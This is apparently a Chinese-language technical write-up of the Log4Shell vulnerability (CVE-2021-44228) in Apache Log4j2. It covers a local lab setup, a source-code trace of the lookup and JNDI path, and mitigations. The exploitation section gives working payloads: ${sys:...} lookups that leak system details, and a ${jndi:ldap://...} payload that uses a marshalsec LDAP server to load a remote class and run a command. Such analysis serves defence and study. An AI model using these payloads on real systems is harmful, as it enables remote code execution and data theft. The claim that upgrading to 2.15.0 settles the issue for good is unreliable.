漏洞简介

Apache Log4j2 是一个通用的工业级 Java 日志框架,常用于 Java 应用中,如 Web 应用、分布式系统、微服务架构等,它能够帮助开发人员记录并追踪系统中的异常、性能问题和业务逻辑。

2021 年 12 月 9 日,存在于 Log4j2 JNDI 功能中的一个远程代码执行漏洞利用细节被公开,随即对全球范围内使用 Log4j2 的应用和系统产生了重大影响。

该漏洞的根本原因是源于 Log4j2 的日志消息解析机制存在缺陷,当日志消息中包含特定格式的字符串时,Log4j2 会尝试通过 JNDI 去解析和加载远程资源,而攻击者可以利用这一点发送恶意的日志消息,指向恶意的 LDAP 服务器,从而实现远程代码执行。

影响版本

  • 2.0-beta9 ≤ Log4j2 ≤ 2.14.1

环境准备

在一个 SpringBoot 项目中的 pom.xml 文件中添加如下 2.14.1 版本的 Log4j2 Maven 依赖。

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

然后编写如下 SpringBoot 应用,该应用会对用户的 User-Agent 以及登录的数据进行日志记录。在 IDEA 中启动该 Web 应用,这样,一个简单的漏洞复现环境就准备好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.javasec.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class Log4ShellApplication {

private static final Logger LOGGER = LogManager.getLogger(Log4ShellApplication.class);

public static void main(String[] args) {
SpringApplication.run(Log4ShellApplication.class, args);
}

@RequestMapping(value = "/")
public void logUA(@RequestHeader("User-Agent") String ua) {
LOGGER.error(ua);
}

@RequestMapping(value = "/login")
public void logLogin(String data) {
LOGGER.error(data);
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    __                __ __ _____ __         __________
/ / ____ ____ _/ // // ___// /_ ___ / / / ____/___ _ __
/ / / __ \/ __ `/ // /_\__ \/ __ \/ _ \/ / / __/ / __ \ | / /
/ /___/ /_/ / /_/ /__ __/__/ / / / / __/ / / /___/ / / / |/ /
/_____/\____/\__, / /_/ /____/_/ /_/\___/_/_/_____/_/ /_/|___/
/____/
2022-01-05 23:12:33 INFO Log4ShellApplication:55 - Starting Log4ShellApplication v1.0.0 using Java 1.8.0_181 on m with PID 81127 (/Users/r00t/GitHub/CVE-2021-44228/Log4ShellEnv.jar started by r00t in /Users/r00t/GitHub/CVE-2021-44228)
2022-01-05 23:12:33 INFO Log4ShellApplication:663 - No active profile set, falling back to default profiles: default
2022-01-05 23:12:34 INFO TomcatWebServer:108 - Tomcat initialized with port(s): 44228 (http)
Jan 05, 2022 11:12:34 PM org.apache.coyote.AbstractProtocol init
INFO: Initializing ProtocolHandler ["http-nio-44228"]
Jan 05, 2022 11:12:34 PM org.apache.catalina.core.StandardService startInternal
INFO: Starting service [Tomcat]
Jan 05, 2022 11:12:34 PM org.apache.catalina.core.StandardEngine startInternal
INFO: Starting Servlet engine: [Apache Tomcat/9.0.46]
Jan 05, 2022 11:12:35 PM org.apache.catalina.core.ApplicationContext log
INFO: Initializing Spring embedded WebApplicationContext
2022-01-05 23:12:35 INFO ServletWebServerApplicationContext:290 - Root WebApplicationContext: initialization completed in 1472 ms
Jan 05, 2022 11:12:35 PM org.apache.coyote.AbstractProtocol start
INFO: Starting ProtocolHandler ["http-nio-44228"]
2022-01-05 23:12:36 INFO TomcatWebServer:220 - Tomcat started on port(s): 44228 (http) with context path ''
2022-01-05 23:12:36 INFO Log4ShellApplication:61 - Started Log4ShellApplication in 3.394 seconds (JVM running for 4.839)
2022-01-05 23:12:36 INFO ApplicationAvailabilityBean:75 - Application availability state LivenessState changed to CORRECT
2022-01-05 23:12:36 INFO ApplicationAvailabilityBean:75 - Application availability state ReadinessState changed to ACCEPTING_TRAFFIC

漏洞利用

发送如下两个 HTTP 请求。

1
2
3
4
5
6
GET / HTTP/1.1
Host: 127.0.0.1:44228
Accept: */*
User-Agent: U=${sys:user.name}; os=${sys:os.name}; jv=${java:version}
Connection: close

1
2
3
4
5
6
7
8
POST /login HTTP/1.1
Host: 127.0.0.1:44228
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

data=${java:version}

回到 IDEA 控制台便可以看到如下日志输出,其中包含了系统用户名、操作系统名、Java 版本。

1
2
2022-01-05 23:12:18.124 ERROR 18704 --- [io-44228-exec-2] c.j.l.Log4ShellApplication               : U=r00t; os=Mac OS X; jv=Java version 1.8.0_181
2022-01-05 23:13:05.890 ERROR 18704 --- [io-44228-exec-4] c.j.l.Log4ShellApplication : Java version 1.8.0_181

根据如上日志,可以发现 Log4j2 对带有${}的日志消息进行了特定格式的解析。

进一步的,我们可以通过 JNDI 注入来深入利用该漏洞。

准备如下 RCE 类,将其编译成 class 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

@SuppressWarnings("all")
public class RCE {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "-a", "Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}

然后对外开放此文件。

1
2
python -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...

并使用 marshalsec(https://github.com/mbechler/marshalsec)开启一个恶意的LDAP服务器。

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:4444/#RCE"
Listening on 0.0.0.0:1389

最后利用如下 Payload 实施 JNDI 注入攻击,最终会弹出一个计算器。

1
2
3
4
5
6
POST /login TTP/1.1
Host: 127.0.0.1:44228
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

data=${jndi:ldap://192.168.1.100:1389/RCE}

漏洞分析

将如上漏洞环境简化至如下几行代码,如下便是漏洞触发的关键代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.javasec.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4Shell {

private static final Logger LOGGER = LogManager.getLogger(Log4Shell.class);

public static void main(String[] args) {

String log = "${sys:user.name}";

// 默认配置下成功利用
//LOGGER.fatal(log);
LOGGER.error(log);

// 默认配置下利用无效
//LOGGER.info(log);
//LOGGER.warn(log);
//LOGGER.debug(log);
//LOGGER.trace(log);
}
}

首先从 Log4j 日志管理器中获取一个与 Log4Shell 类相关联的日志记录器,并将其赋值给一个名为 LOGGER 的变量。其中 Logger 接口代表一个日志记录器,用于记录日志信息,它提供了多种方法来记录不同级别的日志信息(如 debug、info、warn、error 等)。这样,就可以在 Log4Shell 类中使用 LOGGER 对象来记录日志信息,例如随后执行的 LOGGER.error()方法。

漏洞触发点

那么我们便可以将断点断在 LOGGER.error(log)代码行,从此处开始跟进分析。

由于 Logger 接口中的 error(java.lang.String)方法在 org.apache.logging.log4j.spi.AbstractLogger 类中存在一个重写方法,所以起初会进入到了 org.apache.logging.log4j.spi.AbstractLogger#error(java.lang.String)方法中。

1
2
3
4
@Override
public void error(final String message) {
logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable) null);
}

FQCN 由AbstractLogger.class.getName()方法而来,即 org.apache.logging.log4j.spi.AbstractLogger。

依据 org.apache.logging.log4j.Level 类中的静态代码块可知,Level.ERROR 会是new Level("ERROR", StandardLevel.ERROR.intLevel())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package org.apache.logging.log4j;

import java.io.Serializable;
import java.util.Collection;
import java.util.Locale;
import java.util.Objects;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;

import org.apache.logging.log4j.spi.StandardLevel;
import org.apache.logging.log4j.util.Strings;

/**
* Levels used for identifying the severity of an event. Levels are organized from most specific to least:
* <ul>
* <li>{@link #OFF} (most specific, no logging)</li>
* <li>{@link #FATAL} (most specific, little data)</li>
* <li>{@link #ERROR}</li>
* <li>{@link #WARN}</li>
* <li>{@link #INFO}</li>
* <li>{@link #DEBUG}</li>
* <li>{@link #TRACE} (least specific, a lot of data)</li>
* <li>{@link #ALL} (least specific, all data)</li>
* </ul>
*
* Typically, configuring a level in a filter or on a logger will cause logging events of that level and those that are
* more specific to pass through the filter. A special level, {@link #ALL}, is guaranteed to capture all levels when
* used in logging configurations.
*/
public final class Level implements Comparable<Level>, Serializable {

// No events will be logged.
public static final Level OFF;

// A severe error that will prevent the application from continuing.
public static final Level FATAL;

// An error in the application, possibly recoverable.
public static final Level ERROR;

// An event that might possible lead to an error.
public static final Level WARN;

// An event for informational purposes.
public static final Level INFO;

// A general debugging event.
public static final Level DEBUG;

// A fine-grained debug message, typically capturing the flow through the application.
public static final Level TRACE;

// All events should be logged.
public static final Level ALL;

// @since 2.1
public static final String CATEGORY = "Level";

private static final ConcurrentMap<String, Level> LEVELS = new ConcurrentHashMap<>(); // SUPPRESS CHECKSTYLE

private static final long serialVersionUID = 1581082L;

static {
OFF = new Level("OFF", StandardLevel.OFF.intLevel());
FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
WARN = new Level("WARN", StandardLevel.WARN.intLevel());
INFO = new Level("INFO", StandardLevel.INFO.intLevel());
DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
ALL = new Level("ALL", StandardLevel.ALL.intLevel());
}

private final String name;
private final int intLevel;
private final StandardLevel standardLevel;

private Level(final String name, final int intLevel) {
if (Strings.isEmpty(name)) {
throw new IllegalArgumentException("Illegal null or empty Level name.");
}
if (intLevel < 0) {
throw new IllegalArgumentException("Illegal Level int less than zero.");
}
this.name = name;
this.intLevel = intLevel;
this.standardLevel = StandardLevel.getStandardLevel(intLevel);
if (LEVELS.putIfAbsent(name, this) != null) {
throw new IllegalStateException("Level " + name + " has already been defined.");
}
}

/**
* Gets the integral value of this Level.
*
* @return the value of this Level.
*/
public int intLevel() {
return this.intLevel;
}

/**
* Gets the standard Level values as an enum.
*
* @return an enum of the standard Levels.
*/
public StandardLevel getStandardLevel() {
return standardLevel;
}

// ...

}

StandardLevel.ERROR.intLevel()方法则是获取 ERROR 的等级数,即 200,而 StandardLevel 是一个枚举类,在其中记录了不同级别的日志记录,OFF>FATAL>ERROR>WARN>INFO>DEBUG>TRACE>ALL。根据实际测试,在默认情况下,只会将 ERROR 和 FATAL 等级的日志输出至控制台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.apache.logging.log4j.spi;

import java.util.EnumSet;

// Standard Logging Levels as an enumeration for use internally. This enum is used as a parameter in any public APIs.
public enum StandardLevel {

// No events will be logged.
OFF(0),

// A severe error that will prevent the application from continuing.
FATAL(100),

// An error in the application, possibly recoverable.
ERROR(200),

// An event that might possible lead to an error.
WARN(300),

// An event for informational purposes.
INFO(400),

// A general debugging event.
DEBUG(500),

// A fine-grained debug message, typically capturing the flow through the application.
TRACE(600),

// All events should be logged.
ALL(Integer.MAX_VALUE);

private static final EnumSet<StandardLevel> LEVELSET = EnumSet.allOf(StandardLevel.class);

private final int intLevel;

StandardLevel(final int val) {
intLevel = val;
}

/**
* Returns the integer value of the Level.
*
* @return the integer value of the Level.
*/
public int intLevel() {
return intLevel;
}

/**
* Method to convert custom Levels into a StandardLevel for conversion to other systems.
*
* @param intLevel The integer value of the Level.
* @return The StandardLevel.
*/
public static StandardLevel getStandardLevel(final int intLevel) {
StandardLevel level = StandardLevel.OFF;
for (final StandardLevel lvl : LEVELSET) {
if (lvl.intLevel() > intLevel) {
break;
}
level = lvl;
}
return level;
}
}

这样,如上值继续进入 logIfEnabled 方法中,见下图所示。

通过 isEnabled 方法的判断后,到达 logMessage 方法中,在其中调用了 logMessageSafely 方法。

logMessageSafely 方法中调用到了 logMessageTrackRecursion 方法,其中又调用了 tryLogMessage 方法,tryLogMessage 中调用了 log 方法。

……

消息格式化

省略中间的一些非关键调用,直到断点到达 org.apache.logging.log4j.core.pattern.PatternFormatter#format 方法。

1
2
3
4
5
6
7
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}

从此处开始跟进,进入到 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format 方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Formats an event into a string buffer.
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {

final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}

// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}

在这个方法中会对 config 与 noLookups 进行判断,noLookups 在 MessagePatternConverter 类被实例化时会被赋值,即在默认情况下,值为 false,也就意味着默认情况下允许查询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Private constructor.
*
* @param options
* options, may be null.
*/
private MessagePatternConverter(final Configuration config, final String[] options) {
super("Message", "message");
this.formats = options;
this.config = config;
final int noLookupsIdx = loadNoLookups(options);
this.noLookups = Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0;
this.textRenderer = loadMessageRenderer(noLookupsIdx >= 0 ? ArrayUtils.remove(options, noLookupsIdx) : options);
}
1
2
3
4
5
6
7
8
/**
* LOG4J2-2109 if {@code true}, MessagePatternConverter will always operate as though
* <pre>%m{nolookups}</pre> is configured.
*
* @since 2.10
*/
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty(
"log4j2.formatMsgNoLookups", false);

这样便会进入到 if 分支,获取${}及其中的内容,也就是${sys:user.name}。

然后调用到 workingBuilder.append(config.getStrSubstitutor().replace(event, value))。

字符替换

即进入到 StrSubstitutor#replace()方法中。

这个方法所属的类 StrSubstitutor 是 Log4j2 中用于字符替换的核心类。

继续往下跟进,到达 StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)方法。

这个方法中,会通过一个 while 循环来逐字符会寻找变量前缀${,当找到后会继续寻找后缀},并会处理嵌套变量。

然后进行变量解析,此处会调用 resolveVariable 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* Internal method that resolves the value of a variable.
* <p>
* Most users of this class do not need to call this method. This method is
* called automatically by the substitution process.
* </p>
* <p>
* Writers of subclasses can override this method if they need to alter
* how each substitution occurs. The method is passed the variable's name
* and must return the corresponding value. This implementation uses the
* {@link #getVariableResolver()} with the variable's name as the key.
* </p>
*
* @param event The LogEvent, if there is one.
* @param variableName the name of the variable, not null
* @param buf the buffer where the substitution is occurring, not null
* @param startPos the start position of the variable including the prefix, valid
* @param endPos the end position of the variable including the suffix, valid
* @return the variable's value or <b>null</b> if the variable is unknown
*/
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

在 resolveVariable 方法中调用到了 Interpolator#lookup 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* Resolves the specified variable. This implementation will try to extract
* a variable prefix from the given variable name (the first colon (':') is
* used as prefix separator). It then passes the name of the variable with
* the prefix stripped to the lookup object registered for this prefix. If
* no prefix can be found or if the associated lookup object cannot resolve
* this variable, the default lookup object will be used.
*
* @param event The current LogEvent or null.
* @param var the name of the variable whose value is to be looked up
* @return the value of this variable or <b>null</b> if it cannot be
* resolved
*/
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}

lookup 方法中完成变量的解析并返回,如上图所示,已将 sys:user.name 解析成系统用户名。

字符串查询

如上 lookup 方法所属的类 Interpolator 主要用于代理多个 StrLookup 实例,它提供统一的字符串查找功能。

PREFIX_SEPARATOR 是前缀分隔符,默认是一个冒号。

在使用 Interpolator(java.util.Map<java.lang.String,java.lang.String>)构造方法实例化该类时,会创建并注册多个内置的 StrLookup 实例到 strLookupMap 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* Creates the Interpolator using only Lookups that work without an event and initial properties.
*/
public Interpolator(final Map<String, String> properties) {
this.defaultLookup = new MapLookup(properties == null ? new HashMap<String, String>() : properties);
// TODO: this ought to use the PluginManager
strLookupMap.put("log4j", new Log4jLookup());
strLookupMap.put("sys", new SystemPropertiesLookup());
strLookupMap.put("env", new EnvironmentLookup());
strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON);
strLookupMap.put("marker", new MarkerLookup());
strLookupMap.put("java", new JavaLookup());
strLookupMap.put("lower", new LowerLookup());
strLookupMap.put("upper", new UpperLookup());
// JNDI
try {
// [LOG4J2-703] We might be on Android
strLookupMap.put(LOOKUP_KEY_JNDI,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
} catch (final LinkageError | Exception e) {
handleError(LOOKUP_KEY_JNDI, e);
}
// JMX input args
try {
// We might be on Android
strLookupMap.put(LOOKUP_KEY_JVMRUNARGS,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup",
StrLookup.class));
} catch (final LinkageError | Exception e) {
handleError(LOOKUP_KEY_JVMRUNARGS, e);
}
strLookupMap.put("date", new DateLookup());
strLookupMap.put("ctx", new ContextMapLookup());
if (Constants.IS_WEB_APP) {
try {
strLookupMap.put(LOOKUP_KEY_WEB,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.web.WebLookup", StrLookup.class));
} catch (final Exception ignored) {
handleError(LOOKUP_KEY_WEB, ignored);
}
} else {
LOGGER.debug("Not in a ServletContext environment, thus not loading WebLookup plugin.");
}
try {
strLookupMap.put(LOOKUP_KEY_DOCKER,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.docker.DockerLookup", StrLookup.class));
} catch (final Exception ignored) {
handleError(LOOKUP_KEY_DOCKER, ignored);
}
try {
strLookupMap.put(LOOKUP_KEY_SPRING,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.spring.cloud.config.client.SpringLookup", StrLookup.class));
} catch (final Exception ignored) {
handleError(LOOKUP_KEY_SPRING, ignored);
}
try {
strLookupMap.put(LOOKUP_KEY_KUBERNETES,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.kubernetes.KubernetesLookup", StrLookup.class));
} catch (final Exception | NoClassDefFoundError error) {
handleError(LOOKUP_KEY_KUBERNETES, error);
}
}

例如上面的 sys:user.name,所对应的就是 SystemPropertiesLookup。不光如此,还有 jndi 类型的。

1
2
3
4
5
6
7
8
9
10
11
12
private static final String LOOKUP_KEY_JNDI = "jndi";

// ...

// JNDI
try {
// [LOG4J2-703] We might be on Android
strLookupMap.put(LOOKUP_KEY_JNDI,
Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
} catch (final LinkageError | Exception e) {
handleError(LOOKUP_KEY_JNDI, e);
}

当日志消息中包含 jndi 关键词时,消息便会交由 org.apache.logging.log4j.core.lookup.JndiLookup 进行查询。

在 JndiLookup#lookup 方法中,用到了 jndiManager.lookup 方法来对一个 jndiName 进行查询。

JNDI 查询

org.apache.logging.log4j.core.net.JndiManager 是 Log4j2 中用于管理 JNDI 上下文的类。

在 JndiLookup#lookup 方法中调用了 JndiManager 的 getDefaultManager 方法。

1
final JndiManager jndiManager = JndiManager.getDefaultManager()

在 getDefaultManager 会调用内部类 JndiManagerFactory 创建 JndiManager 实例,在其中创建了一个 InitialContext,作为 JndiManager 对象的成员变量 context。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();

private final Context context;

private JndiManager(final String name, final Context context) {
super(null, name);
this.context = context;
}

// ...

/**
* Gets the default JndiManager using the default {@link javax.naming.InitialContext}.
*
* @return the default JndiManager
*/
public static JndiManager getDefaultManager() {
return getManager(JndiManager.class.getName(), FACTORY, null);
}

private static class JndiManagerFactory implements ManagerFactory<JndiManager, Properties> {

@Override
public JndiManager createManager(final String name, final Properties data) {
try {
return new JndiManager(name, new InitialContext(data));
} catch (final NamingException e) {
LOGGER.error("Error creating JNDI InitialContext.", e);
return null;
}
}
}

在 JndiManager#lookup 方法中,则调用了 this.context.lookup 方法进行无限制的 JDNI 查询,此处便是导致 JDNI 攻击的最终触发点。

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Looks up a named object through this JNDI context.
*
* @param name name of the object to look up.
* @param <T> the type of the object.
* @return the named object if it could be located.
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}

安全建议

缓解措施

  • 关闭字符串解析查询功能,在配置文件中设置 log4j2.formatMsgNoLookups 为 True。
  • 禁用 JDNI 功能,或升级 Java 版本至 6u211、7u201、8u191、11.0.1 以防御 JNDI 注入攻击。不过依旧会受到带外信息泄漏的影响。
  • 限制受影响应用访问外部互联网。

版本升级

升级 Log4j2 至 2.15.0 版本,可一劳永逸。